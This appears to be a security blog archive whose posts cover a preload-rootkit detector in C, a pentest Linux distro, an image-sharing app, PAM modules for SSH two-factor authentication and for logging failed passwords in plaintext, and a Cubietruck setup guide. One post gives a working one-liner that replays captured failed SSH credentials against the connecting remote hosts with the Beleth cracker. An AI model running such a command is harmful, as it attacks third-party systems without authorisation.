Friday, February 14, 2014

Detecting Userland Preload Rootkits

Introduction

We recently released a new userland rootkit on BHL named Azazel. It's similar to previous versions of Jynx/Jynx2, but is more advanced and focused on anti-debugging and anti-detection methods. This leads us into a current major problem with rootkit detection mechanisms such as rkhunter. Put simply, if you run these tools in a potentially compromised environment, you cannot trust their output. Rkhunter relies primarily on signature detection which is fine for known threats that use default values and file names, but here's a simple detection method that compares the address of syscalls loaded directly from libc, and the "next" address to that system call. By comparing the two values, you can more accurately detect preload based userland rootkits.

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
 void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
 char *syscalls[] = {"open", "readdir", "fopen", "accept", "access", "unlink"};
 int i;
 void *(*libc_func)();
 void *(*next_func)();

 for (i = 0; i < 6; ++i) {
  printf("[+] Checking %s syscall.\n", syscalls[i]);
  libc_func = dlsym(libc, syscalls[i]);
  next_func = dlsym(RTLD_NEXT, syscalls[i]);
  if (libc_func != next_func) {
   printf("[!] Preload hooks dectected!\n");
   printf("Libc address: %p\n", libc_func);
   printf("Next address: %p\n", next_func);
  }
 }

 return 0;
}
$ gcc preloadcheck.c -o preloadcheck -ldl
$ ./preloadcheck
[+] Checking open syscall.
[+] Checking readdir syscall.
[+] Checking fopen syscall.
[+] Checking accept syscall.
[+] Checking access syscall.
[+] Checking unlink syscall.
Now here's an example run against Azazel.
$ LD_PRELOAD=/lib/libselinux.so ./preloadcheck
[+] Checking open syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf65a890
Next address: 0x7fe1bfb1d932
[+] Checking readdir syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf633c50
Next address: 0x7fe1bfb1dc56
[+] Checking fopen syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf5f46c0
Next address: 0x7fe1bfb1d6c6
[+] Checking accept syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf6676a0
Next address: 0x7fe1bfb1eb4a
[+] Checking access syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf65ab40
Next address: 0x7fe1bfb1d670
[+] Checking unlink syscall.
[!] Preload hooks dectected!
Libc address: 0x7fe1bf65bd50
Next address: 0x7fe1bfb1db58

Note: This is not an end all to preload kits. As we have seen with Azazel, kits are still able to selectively filter results or unhook specific programs to avoid detection. It is also important to note that by hooking libdl.so's functions themselves, one could even evade this detection mechanism.

Sunday, February 9, 2014

CrunchPwn Linux Full Alpha Release

#Pwn Linux

CrunchPwn Linux full alpha live CD is now available for download on Sourceforge and in torrent form on Linux Tracker. If you would like to install it as an addition to your existing Debian / CrunchBang environment, follow the directions below to add the repository to apt.

$ curl http://repo.crunchpwn.org/gnupg.key | sudo apt-key add -
$ echo '## Crunchpwn
deb http://repo.crunchpwn.org/ purson main' >> /etc/apt/sources.list
$ sudo apt-get update 
$ sudo apt-get install crunchpwn

Default Credentials

User: user
Password: crunchpwn

Screenshots




Updates in Alpha Release

Updates include a completely revamped tool menu and the addition of several packages. For a full list of tools, head over to the github documents section.

DatePackageType
9-Feb-2014crunchpwn_0.1-7Full Alpha
9-Feb-2014cp-openbox-theme_0.1-2Update
6-Feb-2014exploit-db_02.06.2014Update
31-Jan-2014wifijammer_0.1New
31-Jan-2014crunchpwn_0.1-6Nightly Build
29-Jan-2014cp-openbox-themeUpdate
29-Jan-2014cp-slim-confUpdate
28-Jan-2014exploit-db_01.28.2014Update
25-Jan-2014crunchpwn_0.1-5Nightly Build
25-Jan-2014wolpertinger_0.6-1New
22-Jan-2014crunchpwn_0.1-4Nightly Build

Request for Support

Notice a bug, or missing tool that you'd like to see added? Please open an issue on the github issue tracker so that one of our maintainers can address it. If you're interested in creating some artwork or additional themes, feel free to submit them as well. We accept pull requests of all sizes.

Monday, January 27, 2014

Reverse SSH Cracking with Beleth and PAM

Disclaimer

Attempting to gain unauthorized access to remote computers is illegal, and I am not responsible for any use of this proof of concept in a live environment.

Introduction

This is an incredibly rude one liner that attempts to crack remote SSH passwords when an incoming login attempt fails.

Prerequisites

In order for this little trick to work, you'll need to setup a PAM module that I wrote about in a previous post. I recently pushed an update to Beleth that allows passing a single password via the command line interface, so you'll need to grab a fresh copy from the github.

The one liner

tail -f /var/log/auth.log | stdbuf -o0 sed s/[:\(\)]/\ /g|awk '{if ($13 ~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {print "beleth -t "$13" -u "$14" -P "$15}}'

This parses through the authorization log and is continuously updated with failed login attempts. It uses sed/awk to grab the remote host, attempted user, and password combination. Beleth then uses the information to attempt the same login credentials on the remote host. stdbuf ensures that the streams are being properly flushed so that it works in real time.

Thursday, January 16, 2014

Flaskgur: Simple Imgur clone with Flask and Python

Introduction

As part of a previous post I wrote about using PyTinyDNS to dynamically assign DNS subdomains with updated IP addresses every time a user connects. Another service that we were missing was a simple image sharing site for use exclusively on the VPN. I've been intending to play with Flask for a while now this seemed like a good excuse to dive in.

Enter Flask

Flask is a microframework for Python based on Werkzeug and Jinja2. This combination of tools allows rapid development of web applications through Jinja's modern extensible template language and Werkzeug's URL routing modules.

Setup Flaskgur

If this is your first time playing with flask, go ahead grab virtualenv. Flask will be installed later.

$ sudo pip install virtualenv
$ 

Now grab a copy of Flaskgur and setup the new virtual environment.

$ git clone https://github.com/chokepoint/flaskgur.git
$ cd flaskgur
$ virtualenv venv
$ . venv/bin/activate
$ pip install Flask

Flaskgur relies on a small sqlite database with an id field and filename field. The git repository comes with a copy of the database schema.

$ sqlite3 flaskgur.db < schema.sql

Now edit flaskgur.py and point the base directory to your desired location and start Flaskgur.

$ python flaskgur.py 
 * Running on http://0.0.0.0:5000/
 * Restarting with reloader

Flaskgur Layout

The directories are broken down into the following list.

  • pics - Where the uploaded pictures are saved
  • static - Static formatting files (css) and custom 404 image
  • templates - Jinja2 formatted template files

For simplicity, the custom 404 page doubles as error page for bad file types. base.html is the base template, and data is filled in respectively by upload.html and 404.html thanks to Jinja. I included a simple macro in upload.html as well for a basic example.

Going Beyond

This is not a complete product by any means, and I do not profess to be a CSS guru. If you'd like to clean up some of the formatting, pull requests are always welcome. The database could easily be upgraded to include a description of photos or incorporate a ranking system. If you're interested in extending this project, head on over to github and add whatever you feel is necessary.

Wednesday, January 8, 2014

More fun with PAM-Python -- Logging Failed SSH Passwords

Introduction

Following up from my last post about a two-factor SSH authentication python module, I thought I'd add one more module that has yielded some interesting results as well. If you watch your authorization log closely you'll undoubtedly notice multiple failed login attempts per day primarily for root/privileged users. These scans are largely automated by using lists of popular passwords and SSH cracking programs such as Beleth. Typical authorization logs from SSHd look similar to the entry below.

Jan  1 18:10:51 lan sshd[19972]: Failed password for root from 61.xxx.xxx.34 port 33302 ssh2

I thought it would be interesting to see not only which users were commonly targets of attack, but also the wordlists being actively used by these bots. The module below will log a copy of the attempted username and password for all failed login attempts. I've also included a copy of all failed attempts logged after running this module for a week. The log entry below is how auth.log will look while using the module.

Jan  1 19:58:39 lan sshd: SSH Attack Logged: Remote Host: 61.xxx.xxx.34 (root:password1)

The Source

import crypt, spwd, syslog

def auth_log(msg):
 """Send errors to default auth log"""
 syslog.openlog(facility=syslog.LOG_AUTH)
 syslog.syslog("SSH Attack Logged: " + msg)
 syslog.closelog()

def check_pw(user, password):
 """Check the password matches local unix password on file"""
 hashed_pw = spwd.getspnam(user)[1]
 
 return crypt.crypt(password, hashed_pw) == hashed_pw

def pam_sm_authenticate(pamh, flags, argv):
 try:
  user = pamh.get_user()
 except pamh.exception, e:
  return e.pam_result
 
 if not user:
  return pamh.PAM_USER_UNKNOWN
  
 try:
  resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'Password:'))
 except pamh.exception, e:
  return e.pam_result
  
 if not check_pw(user, resp.resp):
  auth_log("Remote Host: %s (%s:%s)" % (pamh.rhost, user, resp.resp))
  return pamh.PAM_AUTH_ERR
 
 return pamh.PAM_SUCCESS

def pam_sm_setcred(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_acct_mgmt(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_open_session(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_close_session(pamh, flags, argv):
 return pamh.PAM_SUCCESS

def pam_sm_chauthtok(pamh, flags, argv):
 return pamh.PAM_SUCCESS

Configuration

Configuration is similar to the STAMP 2-factor authentication module. Instead of adding an additional authentication requirement, we're simply going to replace the standard password entry in /etc/pam.d/sshd with our new module. Save a copy of the source code to /lib/security/pwreveal.py. Now, open up /etc/pam.d/sshd and insert the line below.

#@include common-auth
auth       requisite     pam_python.so pwreveal.py

Resources

You can run similar experiments by using any number of widely available honeypot projects. Kippo is an SSH based honeypot that includes not only password logging, but also places attackers in a sandboxed shell that logs all of their commands. If you don't want to deal directly with the kippo software, it's included as part of Honeydrive, a full featured VM honeypot.

Collected wordlist

Monday, December 30, 2013

Simple SSH 2-Factor Authentication Module

Introduction

I needed a quick 2-factor authentication module for SSH. Instead of going with one of the popular solutions like Duo or Google Authenticator, it seemed like a good excuse to whip up some code. I've written small PAM modules in the past using C, but I've been on a python kick lately so I turned to PAM-Python. The module, we'll call it SSH Two-factor Authentication Module in Python (STAMP to make it catchy), is available over on github

How it Works

STAMP works by generating a one time use personal identification number for each login attempt. The module then looks up the local user's cell phone number, which we'll be storing in the standard Office Phone slot in each pw entry in /etc/passwd. Once it has the user's phone number the module sends the one time use PIN to the user. Instead of storing credentials for a service like Google Voice, I went with one of the first free sites I found, TxtDrop. The source includes a small class for dealing with the TxtDrop SMS form and works with most US carriers that I tried out. Once the correct PIN is entered, the login procedure continues with normal password based authentication.

Setting up the Module

Ensure the following dependencies are already installed on your system.

  • pam-python
  • python-requests

Grab the source and copy stampauth.py to /lib/security

$ git clone https://github.com/chokepoint/stampauth.git
$ cd stampauth
$ sudo cp stampauth.py /lib/security/

Now that the module is in place, we need to configure SSHd to enable Challenge/Response Authentication. In /etc/ssh/sshd_config uncomment the following line.

ChallengeResponseAuthentication yes

We also need to let PAM know the order in which we should process the authentication. I set it up so that the user is first prompted for the one time PIN before being prompted for the password. If you choose to go this route, then in /etc/pam.d/sshd locate the section marked with "@include common-auth" and make it look like the entry below.

auth       requisite     pam_python.so stampauth.py
@include common-auth

You can set a user's Office Phone number with the following command.

$ sudo usermod stderr -c ',,555-555-5555,'

Finally, restart sshd and test it out.

$ sudo service ssh restart
$ ssh stderr@localhost
Enter one time PIN: 
Password:
Welcome!

Disclaimer

An attacker could potentially lock you out of your system by repeatedly connecting to your SSH server and failing the PIN test. This occurs because TxtDrop limits the number of SMSes sent by your IP. Feel free to switch to a different SMS gateway.

Saturday, December 7, 2013

Cubietruck a complete noobie guide

Introduction


I own a raspberry pi and loved it, but it just wasn't powerful enough. So I googled around and found Cubie, figured it should be more than powerful enough for what I wanted to do. I found out the hard way that the cubie is not as user friendly as the raspberry pi was. My biggest gripe was that there was tons of support however it was not as good as the raspberry pi community is. For instance I was under the impression I could boot from an SD card just like the pi, and while I can what I didn't know is that it has to be a microsd card. Luckily I had an old cell phone that had an 8gig card in it that I could use. The next issue I faced was installing the image onto the sd card and how exactly to do it. In this post I will go over some of the things that I faced with the cubie and how I was able to over come them in hopes that someone else will have good documentation to go off of. I am using the cubietruck and installing lubuntu on an older scandisk 8gig microsd card.

Check List:


Hardware
  • microsd card reader
  • microsd card (at least 2gig)
  • computer running linux
  • cubietruck
  • a way to supply the cubie with power: For this I'm using a 5v/1amp cell phone dc charger with the supplied usb power cord that came with the cubie
  • hdmi cord
  • tv/monitor with hdmi
  • usb wired or wireless keyboard

  • Software
  • u-boot
  • bootfs
  • rootfs

  • You will also need dd for linux (usually pre-installed)to transfer files.

    Installing the software to boot from microsd


    First thing we'll need to do is find the card then zero it.
    sudo ls /dev/ 
    
    Your card should show up as sdd or sde (mine happened to be sde) depending on the card and linux distro you're running. You can run ls on /dev/ get the output then plug the microsd card in and run it again to compare. Next we need to zero the card out.
    sudo dd if=/dev/zero of=/dev/sde bs=1024 seek=544 count=128
    
    Next we're going to make the card bootable with dd.
    dd if=/home/user/downloads/u-boot-sunxi-with-spl-ct-20131102.bin of=/dev/sde bs=1024 seek=8
    
    Now that the card is bootable we need to create partitions to install the operating system to. To accomplish this we'll be using fdisk on the microsd card.
    sudo fdisk /dev/sde
    
    We need to create two primary partitions:
  • First partition needs to be 64mb in size
  • Second partition needs to be fill up the rest of the card

    Basic Configuration on first boot

    Username/Password: linaro/linaro Once booted there are a few things you'll want to do. First you'll need to log in, the default user for the OS is linaro the password as you might guess is also linaro. Next thing you'll notice is that there is no wlan0 but only eht0. This is because the modules are not installed. Lets install the modules for Bluetooth and wifi.
    $sudo modprobe bcmdhd
    Now you can configure wpa supplicant to set up wifi. You might run into some issues with wpa_supplicant. You can find help with wpa_supplicant here. Lets reboot now to make sure the configuration stuck. What you'll notice is that once again wlan0 is not there anymore. This is due to the Bluetooth and wifi module not loading on boot, so lets fix this.
    $sudo modprobe bcmdhd
    $sudo nano /etc/modules
    
    At the end of the /etc/modules you'll need to add bcmdhd so that it will load on boot. Now all you need is to save the file with Ctrl^x and reboot. Now your wireless configuration and module should both load at boot. Now you should have wireless network. At this point you should update and upgrade install packages
     
    $sudo apt-get update
    $sudo apt-get upgrade
    

    Conclusion

    I've had the cubietruck a short time now, and can say that I do enjoy it and it's power over the pi; however the community could be better as far as development is concerned. I got the cubietruck to make xbmc 720p and 1080p playback smoother, without having to overclock. I haven't quite configured everything I want at the moment so I can't speak on whether the purchase I made for what I wanted the cubietruck to do was worth it. So far it's been a learning curve and I look forward to finding out more I can do with it. For now I have a starting point.

    Links

    Forums
    Main Cubieboard Site
    Tools and OS's